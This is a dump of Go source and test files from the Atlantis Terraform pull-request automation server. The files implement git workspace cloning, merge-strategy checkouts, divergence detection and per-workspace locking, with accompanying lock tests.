logging.NewNoopLogger(t) result := webhooks.ApplyResult{} manager.Send(logger, result) // nolint: errcheck sender.VerifyWasCalledOnce().Send(logger, result) } func TestSend_MultipleSuccess(t *testing.T) { t.Log("Sending multiple webhooks should succeed") RegisterMockTestingT(t) senders := []*mocks.MockSender{ mocks.NewMockSender(), mocks.NewMockSender(), mocks.NewMockSender(), } manager := webhooks.MultiWebhookSender{ Webhooks: []webhooks.Sender{senders[0], senders[1], senders[2]}, } logger := logging.NewNoopLogger(t) result := webhooks.ApplyResult{} err := manager.Send(logger, result) Ok(t, err) for _, s := range senders { s.VerifyWasCalledOnce().Send(logger, result) } } ================================================ FILE: server/events/working_dir.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "fmt" "os" "os/exec" "path/filepath" "strconv" "strings" "sync" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/utils" ) const workingDirPrefix = "repos" const prSourceRemote = "source" // gitLocks holds per-clone-dir locks: "repo-lock/" -> *sync.RWMutex (read for steps, write for clone/reset/merge), "ref-lock/" -> *sync.Mutex (serialize fetch). var gitLocks sync.Map var recheckRequiredMap sync.Map //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_working_dir.go WorkingDir //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package events WorkingDir // WorkingDir handles the workspace on disk for running commands. type WorkingDir interface { // Clone git clones headRepo, checks out the branch and then returns the // absolute path to the root of the cloned repo. Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) // MergeAgain merges again with upstream if upstream has been modified, returns // whether it actually did a new merge MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) // GetWorkingDir returns the path to the workspace for this repo and pull. // If workspace does not exist on disk, error will be of type os.IsNotExist. GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool GetPullDir(r models.Repo, p models.PullRequest) (string, error) // Delete deletes the workspace for this repo and pull. Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error // DeletePlan deletes the plan for this repo, pull, workspace path and project name DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) error // GetGitUntrackedFiles returns a list of Git untracked files in the working dir. GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) // GitReadLock acquires a shared lock so clone/reset/merge cannot run while the caller is using the working dir (e.g. running plan/apply). Call the returned function when done. GitReadLock(r models.Repo, p models.PullRequest, workspace string) func() } // FileWorkspace implements WorkingDir with the file system. type FileWorkspace struct { DataDir string // CheckoutMerge is true if we should check out the branch that corresponds // to what the base branch will look like *after* the pull request is merged. // If this is false, then we will check out the head branch from the pull // request. CheckoutMerge bool // CheckoutDepth is how many commits of feature branch and main branch we'll // retrieve by default. If their merge base is not retrieved with this depth, // full fetch will be performed. Only matters if CheckoutMerge=true. CheckoutDepth int // TestingOverrideHeadCloneURL can be used during testing to override the // URL of the head repo to be cloned. If it's empty then we clone normally. TestingOverrideHeadCloneURL string // TestingOverrideBaseCloneURL can be used during testing to override the // URL of the base repo to be cloned. If it's empty then we clone normally. TestingOverrideBaseCloneURL string // GithubAppEnabled is true and a PR number is supplied, we should fetch // the ref "pull/PR_NUMBER/head" from the "origin" remote. If this is false, // we fetch "+refs/heads/$HEAD_BRANCH" from the "" remote. GithubAppEnabled bool // use the global setting without overriding GpgNoSigningEnabled bool // flag indicating if we have to merge with potential new changes upstream (directly after grabbing project lock) CheckForUpstreamChanges bool } // Clone git clones headRepo, checks out the branch and then returns the absolute // path to the root of the cloned repo. // If the repo already exists and is at // the right commit it does nothing. This is to support running commands in // multiple dirs of the same repo without deleting existing plans. func (w *FileWorkspace) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) { cloneDir := w.cloneDir(p.BaseRepo, p, workspace) // Unconditionally wait for the clone lock here, if anyone else is doing any clone // operation in this directory, we wait for it to finish before we check anything. gitWriteUnlockFn := w.gitWriteLock(cloneDir) defer gitWriteUnlockFn() c := wrappedGitContext{cloneDir, headRepo, p} ok, err := w.attemptReuseCloneDir(logger, c, cloneDir) if ok && err == nil { return cloneDir, nil } if err != nil { logger.Err("An error occurred attempting to reuse the clone dir, falling back to forced clone. This is likely a bug please report: %v", err) } return cloneDir, w.forceClone(logger, c) } // attemptReuseCloneDir tries to reuse an existing cloneDir. // // It returns: // - (true, nil) → reuse succeeded; caller should use this cloneDir directly // - (false, nil) → reuse was not possible for an expected reason; caller should force clone // - (false, err) → an unexpected error occurred; caller should log the error and force clone // Locks are acquired by the caller. func (w *FileWorkspace) attemptReuseCloneDir(logger logging.SimpleLogging, c wrappedGitContext, cloneDir string) (bool, error) { // If the directory doesn't exist yet, surely we can't reuse it if _, err := os.Stat(cloneDir); err != nil { return false, nil } logger.Debug("clone directory '%s' already exists, checking if it's at the right commit", cloneDir) isUpToDate, err := w.isBranchAtTargetRef(logger, c, c.pr.HeadCommit) if err != nil { return false, err } if isUpToDate { logger.Info("repo is at correct commit %q so will not re-clone", c.pr.HeadCommit) return true, nil } if !w.remoteHasBranch(logger, c, c.pr.BaseBranch) { logger.Info("repo appears to have changed base branch, must reclone") return false, nil } logger.Info("repo was already cloned but branch is not at correct commit, updating to %q", c.pr.HeadCommit) err = w.updateToRef(logger, c, c.pr.HeadCommit) if err != nil { return false, err } return true, nil } // MergeAgain merges again with upstream if we are using the merge checkout strategy, // and upstream has been modified since we last checked. // It returns a flag indicating whether we had to merge with upstream again. func (w *FileWorkspace) MergeAgain( logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) { if !w.CheckoutMerge { return false, nil } cloneDir := w.cloneDir(p.BaseRepo, p, workspace) // We atomically set the recheckRequiredMap flag here before grabbing the clone lock. // If the flag is cleared after we grab the lock, it means some other thread // did the necessary work late enough that we do not have to do it again. recheckRequiredMap.Store(cloneDir, struct{}{}) // Unconditionally wait for the clone lock here, if anyone else is doing any clone // operation in this directory, we wait for it to finish before we check anything. gitWriteUnlockFn := w.gitWriteLock(cloneDir) defer gitWriteUnlockFn() if _, exists := recheckRequiredMap.Load(cloneDir); !exists { logger.Debug("Skipping upstream check. Some other thread has done this for us") return false, nil } recheckRequiredMap.Delete(cloneDir) c := wrappedGitContext{cloneDir, headRepo, p} if w.recheckDiverged(logger, p, headRepo, cloneDir) { logger.Info("base branch may have been updated, using merge strategy and will merge again") return true, w.mergeAgain(logger, c) } return false, nil } // recheckDiverged returns true if the branch we're merging into has diverged // from what we currently have checked out. // This matters in the case of the merge checkout strategy because after // cloning the repo and doing the merge, it's possible main was updated // and we have to perform a new merge. // If there are any errors we return true since we prefer to assume divergence // for safety. // Locks are acquired by the caller. func (w *FileWorkspace) recheckDiverged(logger logging.SimpleLogging, p models.PullRequest, headRepo models.Repo, cloneDir string) bool { if !w.CheckoutMerge { // It only makes sense to warn that main has diverged if we're using // the checkout merge strategy. If we're just checking out the branch, // then it doesn't matter what's going on with main because we've // decided to always run off the branch. return false } // Bring our remote refs up to date. // Reset the URL in case we are using github app credentials since these might have // expired and refreshed and the URL would now be different. // In this case, we should be using a proxy URL which substitutes the credentials in // as a long term fix, but something like that requires more e2e testing/time cmds := [][]string{ { "git", "remote", "set-url", "origin", p.BaseRepo.CloneURL, }, { "git", "remote", "set-url", prSourceRemote, headRepo.CloneURL, }, { "git", "remote", "update", }, } for _, args := range cmds { cmd := exec.Command(args[0], args[1:]...) // nolint: gosec cmd.Dir = cloneDir output, err := cmd.CombinedOutput() if err != nil { logger.Warn("getting remote update failed: %s", string(output)) return true } } // We already hold the write lock; take ref lock so fetch is serialized with other HasDiverged callers. unlockRef := w.gitRefLock(cloneDir) defer unlockRef() return w.hasDiverged(logger, cloneDir) } func (w *FileWorkspace) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool { if !w.CheckoutMerge { // Both the diverged warning and the UnDiverged apply requirement only apply to merge checkout strategy so // we assume false here for 'branch' strategy. return false } // Hold ref lock and repo read lock for the full duration (fetch + status) so we don't race with // clone/reset/merge. recheckDiverged does not take the read lock because it already holds the write lock. unlockGitRefLock := w.gitRefLock(cloneDir) defer unlockGitRefLock() unlockGitReadLock := w.gitReadLock(cloneDir) defer unlockGitReadLock() return w.hasDiverged(logger, cloneDir) } // hasDiverged runs fetch and git status to detect divergence. Caller must hold // gitRefLock(cloneDir); if not already holding the repo write lock (e.g. from recheckDiverged), // caller must also hold gitReadLock(cloneDir). func (w *FileWorkspace) hasDiverged(logger logging.SimpleLogging, cloneDir string) bool { logger.Debug("runGitFetch: running git fetch in %s", cloneDir) cmd := exec.Command("git", "fetch") cmd.Dir = cloneDir output, err := cmd.CombinedOutput() if err != nil { logger.Warn("HasDiverged: fetching repo has failed: %s", string(output)) return true } // Check if remote main branch has diverged. statusUnoCmd := exec.Command("git", "status", "--untracked-files=no") statusUnoCmd.Dir = cloneDir outputStatusUno, err := statusUnoCmd.CombinedOutput() if err != nil { logger.Warn("getting repo status has failed: %s", string(outputStatusUno)) return true } return strings.Contains(string(outputStatusUno), "have diverged") } func (w *FileWorkspace) remoteHasBranch(logger logging.SimpleLogging, c wrappedGitContext, branch string) bool { ref := "refs/remotes/origin/" + branch err := w.wrappedGit(logger, c, "show-ref", "--verify", ref) if err != nil { logger.Warn("remote-tracking branch %s not found locally", ref) return false } return true } // Locks are acquired by the caller. func (w *FileWorkspace) updateToRef(logger logging.SimpleLogging, c wrappedGitContext, targetRef string) error { // We use both `` and `origin` remotes, update them both if err := w.wrappedGit(logger, c, "fetch", "--all"); err != nil { return err } // For branch strategy it's easy: just *go to* the ref we're supposed to be at. if !w.CheckoutMerge { return w.wrappedGit(logger, c, "reset", "--hard", targetRef) } // For merge strategy, we have to "redo" the merge // First go back to origin/main as if we just checked out if err := w.wrappedGit(logger, c, "reset", "--hard", fmt.Sprintf("origin/%s", c.pr.BaseBranch)); err != nil { return err } // Next perform the merge if err := w.mergeToBaseBranch(logger, c); err != nil { return err } // Now just as a final check make sure we got ourselves to the right commit isUpToDate, err := w.isBranchAtTargetRef(logger, c, targetRef) if err != nil { return err } if !isUpToDate { return fmt.Errorf("post-merge verification failed: HEAD^2 != %s", targetRef) } return nil } // isBranchAtTargetRef confirm func (w *FileWorkspace) isBranchAtTargetRef(logger logging.SimpleLogging, c wrappedGitContext, targetRef string) (bool, error) { // We use git rev-parse to see if our repo is at the right commit. // If just checking out the pull request branch or if there is no // pull request (API triggered with a custom git ref), we can use HEAD. // If doing a merge, then HEAD won't be at the pull request's HEAD // because we'll already have performed a merge. Instead, we'll check // HEAD^2 since that will be the commit before our merge. pullHead := "HEAD" if w.CheckoutMerge && c.pr.Num > 0 { pullHead = "HEAD^2" } revParseCmd := exec.Command("git", "rev-parse", pullHead) // #nosec revParseCmd.Dir = c.dir outputRevParseCmd, err := revParseCmd.CombinedOutput() if err != nil { return false, err } currCommit := strings.Trim(string(outputRevParseCmd), "\n") logger.Debug("Comparing PR ref %q to local ref %q", targetRef, currCommit) // We're prefix matching here because BitBucket doesn't give us the full // commit, only a 12 character prefix. return strings.HasPrefix(currCommit, targetRef), nil } func (w *FileWorkspace) forceClone(logger logging.SimpleLogging, c wrappedGitContext) error { err := os.RemoveAll(c.dir) if err != nil { return fmt.Errorf("deleting dir '%s' before cloning: %w", c.dir, err) } // Create the directory and parents if necessary. logger.Info("creating dir '%s'", c.dir) if err := os.MkdirAll(c.dir, 0700); err != nil { return fmt.Errorf("creating new workspace: %w", err) } // During testing, we mock some of this out. headCloneURL := c.head.CloneURL if w.TestingOverrideHeadCloneURL != "" { headCloneURL = w.TestingOverrideHeadCloneURL } baseCloneURL := c.pr.BaseRepo.CloneURL if w.TestingOverrideBaseCloneURL != "" { baseCloneURL = w.TestingOverrideBaseCloneURL } // if branch strategy, use depth=1 if !w.CheckoutMerge { return w.wrappedGit(logger, c, "clone", "--depth=1", "--branch", c.pr.HeadBranch, "--single-branch", headCloneURL, c.dir) } // if merge strategy... // if no checkout depth, omit depth arg if w.CheckoutDepth == 0 { if err := w.wrappedGit(logger, c, "clone", "--branch", c.pr.BaseBranch, "--single-branch", baseCloneURL, c.dir); err != nil { return err } } else { if err := w.wrappedGit(logger, c, "clone", "--depth", fmt.Sprint(w.CheckoutDepth), "--branch", c.pr.BaseBranch, "--single-branch", baseCloneURL, c.dir); err != nil { return err } } if err := w.wrappedGit(logger, c, "remote", "add", prSourceRemote, headCloneURL); err != nil { return err } if w.GpgNoSigningEnabled { if err := w.wrappedGit(logger, c, "config", "--local", "commit.gpgsign", "false"); err != nil { return err } } return w.mergeToBaseBranch(logger, c) } // There is a new upstream update that we need, and we want to update to it // without deleting any existing plans func (w *FileWorkspace) mergeAgain(logger logging.SimpleLogging, c wrappedGitContext) error { // Reset branch as if it was cloned again if err := w.wrappedGit(logger, c, "reset", "--hard", fmt.Sprintf("refs/remotes/origin/%s", c.pr.BaseBranch)); err != nil { return err } return w.mergeToBaseBranch(logger, c) } // wrappedGitContext is the configuration for wrappedGit that is typically unchanged // for a series of calls to wrappedGit type wrappedGitContext struct { dir string head models.Repo pr models.PullRequest } // wrappedGit runs git with additional environment settings required for git merge, // and with sanitized error logging to avoid leaking git credentials func (w *FileWorkspace) wrappedGit(logger logging.SimpleLogging, c wrappedGitContext, args ...string) error { cmd := exec.Command("git", args...) // nolint: gosec cmd.Dir = c.dir // The git merge command requires these env vars are set. cmd.Env = append(os.Environ(), []string{ "EMAIL=atlantis@runatlantis.io", "GIT_AUTHOR_NAME=atlantis", "GIT_COMMITTER_NAME=atlantis", }...) cmdStr := w.sanitizeGitCredentials(strings.Join(cmd.Args, " "), c.pr.BaseRepo, c.head) output, err := cmd.CombinedOutput() sanitizedOutput := w.sanitizeGitCredentials(string(output), c.pr.BaseRepo, c.head) if err != nil { sanitizedErrMsg := w.sanitizeGitCredentials(err.Error(), c.pr.BaseRepo, c.head) return fmt.Errorf("running %s: %s: %s", cmdStr, sanitizedOutput, sanitizedErrMsg) } logger.Debug("ran: %s. Output: %s", cmdStr, strings.TrimSuffix(sanitizedOutput, "\n")) return nil } // Merge the PR into the base branch. // Locks are acquired by the caller. func (w *FileWorkspace) mergeToBaseBranch(logger logging.SimpleLogging, c wrappedGitContext) error { fetchRef := fmt.Sprintf("+refs/heads/%s:", c.pr.HeadBranch) fetchRemote := prSourceRemote if w.GithubAppEnabled && c.pr.Num > 0 { fetchRef = fmt.Sprintf("pull/%d/head:", c.pr.Num) fetchRemote = "origin" } // if no checkout depth, omit depth arg if w.CheckoutDepth == 0 { if err := w.wrappedGit(logger, c, "fetch", fetchRemote, fetchRef); err != nil { return err } } else { if err := w.wrappedGit(logger, c, "fetch", "--depth", fmt.Sprint(w.CheckoutDepth), fetchRemote, fetchRef); err != nil { return err } } if err := w.wrappedGit(logger, c, "merge-base", c.pr.BaseBranch, "FETCH_HEAD"); err != nil { // git merge-base returning error means that we did not receive enough commits in shallow clone. // Fall back to retrieving full repo history. if err := w.wrappedGit(logger, c, "fetch", "--unshallow"); err != nil { return err } // fetch once more, otherwise `FETCH_HEAD` was reset to base when we ran // fetch --unshallow if err := w.wrappedGit(logger, c, "fetch", fetchRemote, fetchRef); err != nil { return err } } // We use --no-ff because we always want there to be a merge commit. // This way, our branch will look the same regardless if the merge // could be fast forwarded. This is useful later when we run // git rev-parse HEAD^2 to get the head commit because it will // always succeed whereas without --no-ff, if the merge was fast // forwarded then git rev-parse HEAD^2 would fail. return w.wrappedGit(logger, c, "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") } // GetWorkingDir returns the path to the workspace for this repo and pull. func (w *FileWorkspace) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) { repoDir := w.cloneDir(r, p, workspace) if _, err := os.Stat(repoDir); err != nil { return "", fmt.Errorf("checking if workspace exists: %w", err) } return repoDir, nil } // GetPullDir returns the dir where the workspaces for this pull are cloned. // If the dir doesn't exist it will return an error. func (w *FileWorkspace) GetPullDir(r models.Repo, p models.PullRequest) (string, error) { dir := w.repoPullDir(r, p) if _, err := os.Stat(dir); err != nil { return "", err } return dir, nil } // Delete deletes the workspace for this repo and pull. func (w *FileWorkspace) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error { repoPullDir := w.repoPullDir(r, p) logger.Info("Deleting repo pull directory: " + repoPullDir) return os.RemoveAll(repoPullDir) } // DeleteForWorkspace deletes the working dir for this workspace. func (w *FileWorkspace) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error { workspaceDir := w.cloneDir(r, p, workspace) logger.Info("Deleting workspace directory: " + workspaceDir) return os.RemoveAll(workspaceDir) } func (w *FileWorkspace) repoPullDir(r models.Repo, p models.PullRequest) string { return filepath.Join(w.DataDir, workingDirPrefix, r.FullName, strconv.Itoa(p.Num)) } func (w *FileWorkspace) cloneDir(r models.Repo, p models.PullRequest, workspace string) string { return filepath.Join(w.repoPullDir(r, p), workspace) } // sanitizeGitCredentials replaces any git clone urls that contain credentials // in s with the sanitized versions. func (w *FileWorkspace) sanitizeGitCredentials(s string, base models.Repo, head models.Repo) string { baseReplaced := strings.ReplaceAll(s, base.CloneURL, base.SanitizedCloneURL) return strings.ReplaceAll(baseReplaced, head.CloneURL, head.SanitizedCloneURL) } // Set the flag that indicates we need to check for upstream changes (if using merge checkout strategy) func (w *FileWorkspace) SetCheckForUpstreamChanges() { w.CheckForUpstreamChanges = true } func (w *FileWorkspace) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, projectPath string, projectName string) error { planPath := filepath.Join(w.cloneDir(r, p, workspace), projectPath, runtime.GetPlanFilename(workspace, projectName)) logger.Info("Deleting plan: " + planPath) return utils.RemoveIgnoreNonExistent(planPath) } // getGitUntrackedFiles returns a list of Git untracked files in the working dir. func (w *FileWorkspace) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) { workingDir, err := w.GetWorkingDir(r, p, workspace) if err != nil { return nil, err } logger.Debug("Checking for Git untracked files in directory: '%s'", workingDir) cmd := exec.Command("git", "ls-files", "--others", "--exclude-standard") cmd.Dir = workingDir output, err := cmd.CombinedOutput() if err != nil { return nil, err } untrackedFiles := strings.Split(string(output), "\n")[:] logger.Debug("Untracked files: '%s'", strings.Join(untrackedFiles, ",")) return untrackedFiles, nil } // gitWriteLock acquires an exclusive lock for clone/reset/merge in the given clone dir. // Callers must call the returned function to release the lock. func (w *FileWorkspace) gitWriteLock(cloneDir string) func() { key := fmt.Sprintf("repo-lock/%s", cloneDir) value, _ := gitLocks.LoadOrStore(key, new(sync.RWMutex)) mu := value.(*sync.RWMutex) mu.Lock() return func() { mu.Unlock() } } // GitReadLock acquires a shared lock so that clone/reset/merge (write lock) cannot run // while steps are using the working dir. Call the returned function when steps are done. func (w *FileWorkspace) GitReadLock(r models.Repo, p models.PullRequest, workspace string) func() { return w.gitReadLock(w.cloneDir(r, p, workspace)) } // gitReadLock acquires the same shared lock as GitReadLock but by workspace dir path. // Used when only the workspace directory path is available. func (w *FileWorkspace) gitReadLock(workspaceDir string) func() { key := fmt.Sprintf("repo-lock/%s", workspaceDir) value, _ := gitLocks.LoadOrStore(key, new(sync.RWMutex)) mu := value.(*sync.RWMutex) mu.RLock() return func() { mu.RUnlock() } } // gitRefLock acquires an exclusive lock for ref update operations. // It is separate from the repo read lock to allow for concurrent repo read operations // and not introduce unnecessary latency. func (w *FileWorkspace) gitRefLock(workspaceDir string) func() { key := fmt.Sprintf("ref-lock/%s", workspaceDir) value, _ := gitLocks.LoadOrStore(key, new(sync.Mutex)) mu := value.(*sync.Mutex) mu.Lock() return func() { mu.Unlock() } } ================================================ FILE: server/events/working_dir_locker.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "fmt" "strings" "sync" "github.com/runatlantis/atlantis/server/events/command" ) //go:generate pegomock generate --package mocks -o mocks/mock_working_dir_locker.go WorkingDirLocker // WorkingDirLocker is used to prevent multiple commands from executing // at the same time for a single repo, pull, and workspace. We need to prevent // this from happening because a specific repo/pull/workspace has a single workspace // on disk and we haven't written Atlantis (yet) to handle concurrent execution // within this workspace. type WorkingDirLocker interface { // TryLock tries to acquire a lock for this repo, pull, workspace, and path. // It returns a function that should be used to unlock the workspace and // an error if the workspace is already locked. The error is expected to // be printed to the pull request. TryLock(repoFullName string, pullNum int, workspace string, path string, projectName string, cmdName command.Name) (func(), error) // UnlockByPull unlocks all workspaces for a specific pull request UnlockByPull(repoFullName string, pullNum int) } // DefaultWorkingDirLocker implements WorkingDirLocker. type DefaultWorkingDirLocker struct { // mutex prevents against multiple threads calling functions on this struct // concurrently. It's only used for entry/exit to each function. mutex sync.Mutex // locks is a map of workspaces showing the name of the command locking it locks map[string]command.Name } // NewDefaultWorkingDirLocker is a constructor. func NewDefaultWorkingDirLocker() *DefaultWorkingDirLocker { return &DefaultWorkingDirLocker{locks: make(map[string]command.Name)} } func (d *DefaultWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string, path string, projectName string, cmdName command.Name) (func(), error) { d.mutex.Lock() defer d.mutex.Unlock() workspaceKey := d.workspaceKey(repoFullName, pullNum, workspace, path, projectName) if currentLock, exists := d.locks[workspaceKey]; exists { return func() {}, fmt.Errorf("cannot run %q: the %s workspace at path %s is currently locked for this pull request by %q.\n"+ "Wait until the previous command is complete and try again", cmdName, workspace, path, currentLock) } d.locks[workspaceKey] = cmdName return func() { d.unlock(repoFullName, pullNum, workspace, path, projectName) }, nil } // UnlockByPull unlocks all workspaces for a specific pull request func (d *DefaultWorkingDirLocker) UnlockByPull(repoFullName string, pullNum int) { d.mutex.Lock() defer d.mutex.Unlock() // Find and remove all locks for this pull request prefix := fmt.Sprintf("%s/%d/", repoFullName, pullNum) for key := range d.locks { if strings.HasPrefix(key, prefix) { delete(d.locks, key) } } } // Unlock unlocks the workspace for this pull. func (d *DefaultWorkingDirLocker) unlock(repoFullName string, pullNum int, workspace string, path string, projectName string) { d.mutex.Lock() defer d.mutex.Unlock() workspaceKey := d.workspaceKey(repoFullName, pullNum, workspace, path, projectName) delete(d.locks, workspaceKey) } func (d *DefaultWorkingDirLocker) workspaceKey(repo string, pull int, workspace string, path string, projectName string) string { return strings.TrimRight(fmt.Sprintf("%s/%d/%s/%s/%s", repo, pull, workspace, path, projectName), "/") } ================================================ FILE: server/events/working_dir_locker_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "testing" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" . "github.com/runatlantis/atlantis/testing" ) var repo = "repo/owner" var workspace = "default" var path = "." var projectName = "testProjectName" var cmd = command.Plan func TestTryLock(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() // The first lock should succeed. unlockFn, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) // Now another lock for the same repo, workspace, projectName and pull should fail _, err = locker.TryLock(repo, 1, workspace, path, projectName, command.Apply) ErrEquals(t, "cannot run \"apply\": the default workspace at path . is currently locked for this pull request by \"plan\".\n"+ "Wait until the previous command is complete and try again", err) // Unlock should work. unlockFn() _, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) } func TestTryLockSameCommand(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() // The first lock should succeed. unlockFn, err := locker.TryLock(repo, 1, workspace, path, projectName, command.Import) Ok(t, err) // Now another lock for the same repo, workspace, projectName and pull should fail _, err = locker.TryLock(repo, 1, workspace, path, projectName, command.Import) ErrEquals(t, "cannot run \"import\": the default workspace at path . is currently locked for this pull request by \"import\".\n"+ "Wait until the previous command is complete and try again", err) // Unlock should work. unlockFn() _, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) } func TestTryLockDifferentWorkspaces(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("a lock for the same repo and pull but different workspace should succeed") _, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) _, err = locker.TryLock(repo, 1, "new-workspace", path, projectName, cmd) Ok(t, err) t.Log("and both should now be locked") _, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd) Assert(t, err != nil, "exp err") _, err = locker.TryLock(repo, 1, "new-workspace", path, projectName, cmd) Assert(t, err != nil, "exp err") } func TestTryLockDifferentRepo(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("a lock for a different repo but the same workspace and pull should succeed") _, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) newRepo := "owner/newrepo" _, err = locker.TryLock(newRepo, 1, workspace, path, projectName, cmd) Ok(t, err) t.Log("and both should now be locked") _, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd) ErrContains(t, "currently locked", err) _, err = locker.TryLock(newRepo, 1, workspace, path, projectName, cmd) ErrContains(t, "currently locked", err) } func TestTryLockDifferentPulls(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("a lock for a different pull but the same repo, workspace, projectName should succeed") _, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) newPull := 2 _, err = locker.TryLock(repo, newPull, workspace, path, projectName, cmd) Ok(t, err) t.Log("and both should now be locked") _, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd) ErrContains(t, "currently locked", err) _, err = locker.TryLock(repo, newPull, workspace, path, projectName, cmd) ErrContains(t, "currently locked", err) } func TestTryLockDifferentPaths(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("a lock for a different path but the same repo, pull, projectName and workspace should succeed") _, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) newPath := "new-path" _, err = locker.TryLock(repo, 1, workspace, newPath, projectName, cmd) Ok(t, err) t.Log("and both should now be locked") _, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd) ErrContains(t, "currently locked", err) _, err = locker.TryLock(repo, 1, workspace, newPath, projectName, cmd) ErrContains(t, "currently locked", err) } func TestTryLockDifferentProjectNames(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("a lock for a different projectName but the same repo, pull, path and workspace should succeed") _, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) newProjectName := "new-project" _, err = locker.TryLock(repo, 1, workspace, path, newProjectName, cmd) Ok(t, err) t.Log("and both should now be locked") _, err = locker.TryLock(repo, 1, workspace, path, projectName, cmd) ErrContains(t, "currently locked", err) _, err = locker.TryLock(repo, 1, workspace, path, newProjectName, cmd) ErrContains(t, "currently locked", err) } func TestUnlock(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("unlocking should work") unlockFn, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) unlockFn() _, err = locker.TryLock(repo, 1, workspace, "", projectName, cmd) Ok(t, err) } func TestUnlockDifferentWorkspaces(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("unlocking should work for different workspaces") unlockFn1, err1 := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err1) unlockFn2, err2 := locker.TryLock(repo, 1, "new-workspace", path, projectName, cmd) Ok(t, err2) unlockFn1() unlockFn2() _, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) _, err = locker.TryLock(repo, 1, "new-workspace", path, projectName, cmd) Ok(t, err) } func TestUnlockDifferentRepos(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("unlocking should work for different repos") unlockFn1, err1 := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err1) newRepo := "owner/newrepo" unlockFn2, err2 := locker.TryLock(newRepo, 1, workspace, path, projectName, cmd) Ok(t, err2) unlockFn1() unlockFn2() _, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) _, err = locker.TryLock(newRepo, 1, workspace, path, projectName, cmd) Ok(t, err) } func TestUnlockDifferentPulls(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("unlocking should work for different pulls") unlockFn1, err1 := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err1) newPull := 2 unlockFn2, err2 := locker.TryLock(repo, newPull, workspace, path, projectName, cmd) Ok(t, err2) 